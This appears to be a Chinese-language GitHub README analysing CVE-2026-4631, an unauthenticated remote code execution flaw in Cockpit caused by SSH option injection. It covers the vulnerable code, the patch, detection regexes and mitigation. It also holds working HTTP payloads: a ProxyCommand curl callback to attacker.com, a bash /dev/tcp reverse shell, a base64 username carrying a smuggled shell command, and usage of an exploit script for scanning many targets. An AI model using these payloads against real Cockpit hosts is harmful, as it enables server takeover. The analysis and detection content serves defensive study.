cyberheartmi9/CVE-2026-4631-cockpit-RCE

GitHub: cyberheartmi9/CVE-2026-4631-cockpit-RCE

分析 CVE-2026-4631 漏洞并提供可验证的未认证远程代码利用与检测方法。

Stars: 0 | Forks: 0

# CVE-2026-4631 — 代码分析 **Cockpit:通过 SSH 命令行参数注入实现的未认证远程代码执行** | 字段 | 详情 | | --------------------- | ---------------------------- | | **CVE ID** | CVE-2026-4631 | | **GHSA** | GHSA-m4gv-x78h-3427 | | **严重性** | 危急(CVSS 9.8) | | **受影响版本** | Cockpit 327 – 359 | | **修复版本** | Cockpit 360 | | **CWE** | CWE-78:OS 命令注入 | | **需要认证** | 否 | | **报告人** | Jelle van der Waa | --- ## 目录 1. [漏洞概述](#1-vulnerability-overview) 2. [架构背景](#2-architecture-background) 3. [根因分析](#3-root-cause-analysis) 4. [漏洞代码——逐文件分析](#4-vulnerable-code--file-by-file) 5. [攻击向量](#5-attack-vectors) 6. [数据流图](#6-data-flow-diagram) 7. [补丁分析](#7-patch-analysis) 8. [检测](#8-detection) 9. [参考资料](#9-references) --- ## 1. 漏洞概述 Cockpit 的远程登录功能将用户提供的 **主机名**(来自 URL 路径)和 **用户名**(来自 `Authorization: Basic` 标头)直接传递给 OpenSSH 的 `ssh` 二进制文件,而未进行任何验证或清理。 未认证的 attacker 可以通过网络访问 9090 端口,构造一个 HTTP 请求: - 通过 **主机名** 字段注入任意 SSH 选项(如 `-oProxyCommand=`) - 通过 **用户名** 字段利用 SSH 的 `%r` 令牌展开注入 shell 命令 两个注入点均在 **凭证验证完成之前** 触发,因此无需有效登录即可利用。 --- ## 2. 架构背景 ### 正常的远程登录流程 ![Auth-flow](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/auth-flow.png) ### 327 版本之后的变化 在 327 版本之前,Cockpit 使用一个名为 `cockpit-ssh` 的独立 C 二进制程序(基于 libssh)进行远程连接。从 327 版本开始,它被替换为: ``` python3 -m cockpit.beiboot ``` 该程序调用系统上的 OpenSSH `ssh` 客户端。这一变更引入了漏洞,因为新代码路径将用户可控的值直接传递给 `ssh` 而未进行清理。 --- ## 3. 根因分析 ### 问题 1 — 主机名前缺少 `--` 分隔符 SSH 客户端会将以 `-` 开头的参数解析为 **选项**,而不是主机名,除非在它们之前存在 `--` 分隔符。若没有 `--`,任何以 `-` 开头的主机名都会被解析为 SSH 标志。 **易受攻击的写法:** ``` ssh [options] ``` **安全的写法:** ``` ssh [options] -- ``` ### 问题 2 — 缺少输入验证 `cockpit-ws`(C 代码)和 `cockpit.beiboot`(Python 代码)均未对以下内容进行验证或清理: - 从 URL 路径提取的主机名 - 从 `Authorization: Basic` 标头提取的用户名 ### 问题 3 — Python `argparse` 漏洞(CPython #66623) 一个已知的 CPython 漏洞导致 `argparse` 错误处理以 `-` 开头且包含空格的参数,将其视为位置参数而非标志。这使得形如 `-oProxyCommand=evil command` 的主机名能够通过 Python 参数解析并传递给 `ssh` 作为选项。 --- ## 4. 漏洞代码——逐文件分析 ### 4.1 `src/cockpit/beiboot.py` — 主要注入点 这是最关键的文件。`via_ssh()` 函数构建 SSH 命令参数列表。 #### 易受攻击的代码(修复前) ``` def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]: """Build an ssh command to run `cmd` on `dest`.""" # Parse optional port from dest (e.g. "host:2222") host, _, port = dest.rpartition(':') if port.isdigit() and host: # Strip IPv6 brackets if host.startswith('[') and host.endswith(']'): host = host[1:-1] # VULNERABLE: No '--' before host # If host = "-oProxyCommand=evil", ssh treats it as an option destination = ['-p', port, host] else: # VULNERABLE: Raw attacker input passed directly to ssh destination = [dest] return ( 'ssh', *ssh_opts, *destination, shlex.join(cmd) ) ``` #### 修复后的 SSH 调用效果 当 `dest = "-oProxyCommand=curl http://attacker.com/`id`"` 时: ``` arg0: ssh arg1: -oNumberOfPasswordPrompts=1 ← cockpit option arg2: -oProxyCommand=curl http://... ← PARSED AS SSH OPTION (not host) arg3: python3 -ic '# cockpit-bridge' ← becomes the "hostname" → triggers ProxyCommand ``` #### 修复后的代码(360 版本) ``` if port.isdigit() and host: if host.startswith('[') and host.endswith(']'): host = host[1:-1] # FIXED: '--' forces everything after it to be positional destination = ['-p', port, '--', host] else: # FIXED: '--' separator added destination = ['--', dest] ``` --- ### 4.2 `src/ws/cockpitauth.c` — C 层:主机名提取 该 C 文件负责解析初始 HTTP 请求并启动 beiboot 进程。 #### 从 URL 提取主机名(未验证) ``` static const gchar * application_parse_host(const gchar *application) { const gchar *prefix = "cockpit+="; gint len = strlen(prefix); g_return_val_if_fail(application != NULL, NULL); // Extracts everything after "cockpit+=" from the URL path // No character validation — dashes, special chars allowed if (g_str_has_prefix(application, prefix) && application[len] != '\0') return application + len; else return NULL; } ``` 提取的主机名在启动 beiboot 时直接作为参数传递: ``` // cockpit_ws_ssh_program is the spawn command template // VULNERABLE: hostname appended with no sanitization const gchar *cockpit_ws_ssh_program = "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported"; // ^ // No trailing '--' means hostname can be parsed // as a flag by Python's argparse (CPython #66623) ``` #### 360 版本中的修复 ``` // FIXED: trailing '--' ensures hostname is always positional const gchar *cockpit_ws_ssh_program = "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --"; ``` #### 从 Authorization 标头提取用户名(未验证) ``` static CockpitCreds * build_session_credentials(CockpitAuth *self, CockpitWebRequest *request, const char *application, const char *host, const char *type, const char *authorization) { char *user = NULL; char *raw = NULL; if (g_strcmp0(type, "basic") == 0) { // Decodes Authorization: Basic base64(user:password) // ❌ No validation of 'user' — semicolons, special chars allowed raw = cockpit_authorize_parse_basic(authorization, &user); } // 'user' is passed into credentials and eventually to 'ssh -l ' creds = cockpit_creds_new(application, COCKPIT_CRED_USER, user, // ❌ unsanitized ...); } ``` --- ### 4.3 `vendor/ferny/src/ferny/session.py` — 第三个注入点 捆绑的 `ferny` 库(用于 SSH 交互)在其子进程调用中也存在相同的 `--` 缺失问题。 #### 易受攻击的代码(修复前) ``` async def connect(self, ...): ... # SSH_ASKPASS_REQUIRE is not generally available, so use setsid process = await asyncio.create_subprocess_exec( # VULNERABLE: hardcoded path + no '--' before destination *('/usr/bin/ssh', *args, destination), env=env, start_new_session=True, stdin=asyncio.subprocess.DEVNULL, stdout=asyncio.subprocess.DEVNULL, stderr=agent, preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL) ) ``` #### 修复后的代码(360 版本) ``` process = await asyncio.create_subprocess_exec( # FIXED: PATH lookup instead of hardcoded path + '--' added *('ssh', *args, '--', destination), env=env, ... ) ``` --- ### 4.4 `containers/ws/cockpit-auth-ssh-key` — 容器部署路径 该脚本是 Docker/容器化 Cockpit 部署中使用的认证命令。 ``` #!/usr/bin/env python3 import os, sys # 从环境提取主机 host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1]) # VULNERABLE: 同一根本原因 — 主机以未清理形式传递给 beiboot os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ) ``` 这是一个 **独立的入口点**,意味着即使主代码路径已修复,容器化部署的 Cockpit 仍然独立存在漏洞。 --- ## 5. 攻击向量 ### 向量 1 — 主机名 → ProxyCommand 注入 **前提条件:** Cockpit 主机上的 OpenSSH < 9.6(OpenSSH 9.6 引入了早期主机名验证,会阻止 shell 元字符)。 **HTTP 请求:** ``` GET /cockpit+=-oProxyCommand=/login HTTP/1.1 Host: :9090 Authorization: Basic aW52YWxpZDppbnZhbGlk ``` **解码后的 `Authorization`:** `invalid:invalid` —— 任意值均可。 **工作原理:** 1. cockpit-ws 从 URL 路径提取 `-oProxyCommand=` 作为“主机名” 2. beiboot 的 `via_ssh()` 构建:`ssh -oProxyCommand= python3 -ic '# cockpit-bridge'` 3. SSH 将 `-oProxyCommand=` 解析为选项(而非主机) 4. SSH 将 `python3 -ic '# cockpit-bridge'` 作为主机名使用 5. SSH 在连接该“主机”时执行 `` 作为 ProxyCommand 6. `` 以 cockpit-ws 进程用户的身份运行 **示例 — OOB 回调:** ``` GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1 ``` 解码后的 ProxyCommand:`curl http://attacker.com/`id`` **示例 — 反向 Shell:** ``` GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1 ``` 解码后的 ProxyCommand:`bash -i >& /dev/tcp/10.10.10.10/4444 0>&1` --- ### 向量 2 — 用户名 → `%r` 令牌注入 **前提条件:** 目标 `ssh_config` 包含使用 `%r` 令牌的 `Match exec` 指令(远程用户名)。 **易受攻击的 `ssh_config` 示例:** ``` Match exec "/usr/bin/test %r = blocked_user" ProxyCommand /bin/false ``` **HTTP 请求:** ``` GET /cockpit+=legitimate-host/login HTTP/1.1 Host: :9090 Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk ``` **解码后的 `Authorization`:** `x; touch /tmp/pwned; #:invalid` 提取的用户名:`x; touch /tmp/pwned; #` **工作原理:** 1. SSH 在执行 `Match exec` 命令前用用户名扩展 `%r` 2. Shell 接收到:`/usr/bin/test x; touch /tmp/pwned; # = blocked_user` 3. Shell 将分号解释为命令分隔符:执行 `touch /tmp/pwned`,其余部分被 4. SSH 随后因用户名格式错误而拒绝,但命令已执行 --- ## 6. 数据流图 ![Auth-bypass](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/auth-bypass.png) --- ## 7. 补丁分析 修复措施非常简单——在每次调用 SSH 之前添加 `--`(POSIX 选项结束分隔符)。 ### 补丁 1 — `src/cockpit/beiboot.py`(提交 `9d0695647`) ``` - destination = ['-p', port, host] + destination = ['-p', port, '--', host] - destination = [dest] + destination = ['--', dest] ``` ### 补丁 2 — `src/ws/cockpitauth.c`(提交 `9d0695647`) ``` - const gchar *cockpit_ws_ssh_program = - "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported"; + const gchar *cockpit_ws_ssh_program = + "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --"; ``` ### 补丁 3 — `vendor/ferny/src/ferny/session.py`(提交 `44ec511c99`) ``` - *('/usr/bin/ssh', *args, destination), + *('ssh', *args, '--', destination), ``` ### 为何 `--` 能解决问题 `--` 令牌告诉参数解析器(无论是 Python 的 `argparse` 还是 OpenSSH 的选项解析器)后续的所有参数均为 **位置参数**,而非选项。在 `--` 之后,像 `-oProxyCommand=evil` 这样的值会被视为字面主机名,SSH 会拒绝它作为无效主机名,从而阻止任何代码执行。 --- ## 8. 检测 ### 网络层检测 查找访问 Cockpit 登录端点的 HTTP 请求,其中路径包含 SSH 选项语法: ``` GET /cockpit+=-o[A-Za-z]+=.*/login GET /cockpit+=-[A-Za-z].*/login ``` 特别关注: - URL 路径中的 `-oProxyCommand=`(向量 1) - 解码后的 `Authorization: Basic` 标头中的分号(向量 2) ### 日志检测(journald) ``` # 检查可疑参数的 beiboot 启动 journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy" # 检查 cockpit-ws 用户的 SSH 调用 journalctl _COMM=ssh | grep -v "^--$" ``` ### 版本检查 ``` # 检查安装版本是否易受攻击 dpkg -l cockpit-ws | awk 'NR==5{print $3}' # 如果版本在 327 到 359(含)之间,则易受攻击 rpm -q cockpit-ws # 相同的版本检查适用 ``` --- ## 9. 攻击向量 ### 扫描单个目标 ``` python3 exploit.py --target http://localhost:9090/ --vector username ``` ![Username injection](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/scanner.png) ### 从文件扫描多个目标 ``` python3 exploit.py --file url.txt --vector username ``` ![Username injection](https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE/blob/main/images/scanner-files.png) ### 使用 OOB 检测 ``` python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK ``` ![Username injection](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/dns.png) ### 攻击向量 1 — 用户名 → %r 令牌注入 ``` python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id" ``` ![Username injection](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/cmd.png) ### 缓解措施(若无法立即修复) 在 `/etc/cockpit/cockpit.conf` 中添加: ``` [WebService] LoginTo = false ``` 这会完全禁用远程登录功能,防止触发 beiboot 代码路径。 --- ## 10. 参考资料 | 资源 | URL | |---|---| | OSS-Security 披露 | https://www.openwall.com/lists/oss-security/2026/04/10/5 | | GitHub 安全公告 | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 | | Bugzilla 问题 | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 | | Cockpit 修复提交 | https://github.com/cockpit-project/cockpit/commit/9d0695647 | | Ferny 修复提交 | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 | | CPython argparse 漏洞 | https://github.com/python/cpython/issues/66623 | | OpenSSH 9.6 主机名验证 | https://github.com/openssh/openssh-portable/commit/7ef3787 |
标签:Cockpit, Critical, CVE-2026-4631, CVSS 9.8, CWE-78, GHSA-m4gv-x78h-3427, Go语言工具, OS命令注入, ProxyCommand, shell命令注入, SSH, SSH选项注入, Web安全, 主机名注入, 修复, 内存分配, 命令注入, 未认证, 检测, 漏洞分析, 用户名注入, 编程工具, 网络服务, 蓝队分析, 认证绕过, 路径探测, 远程代码执行, 逆向工具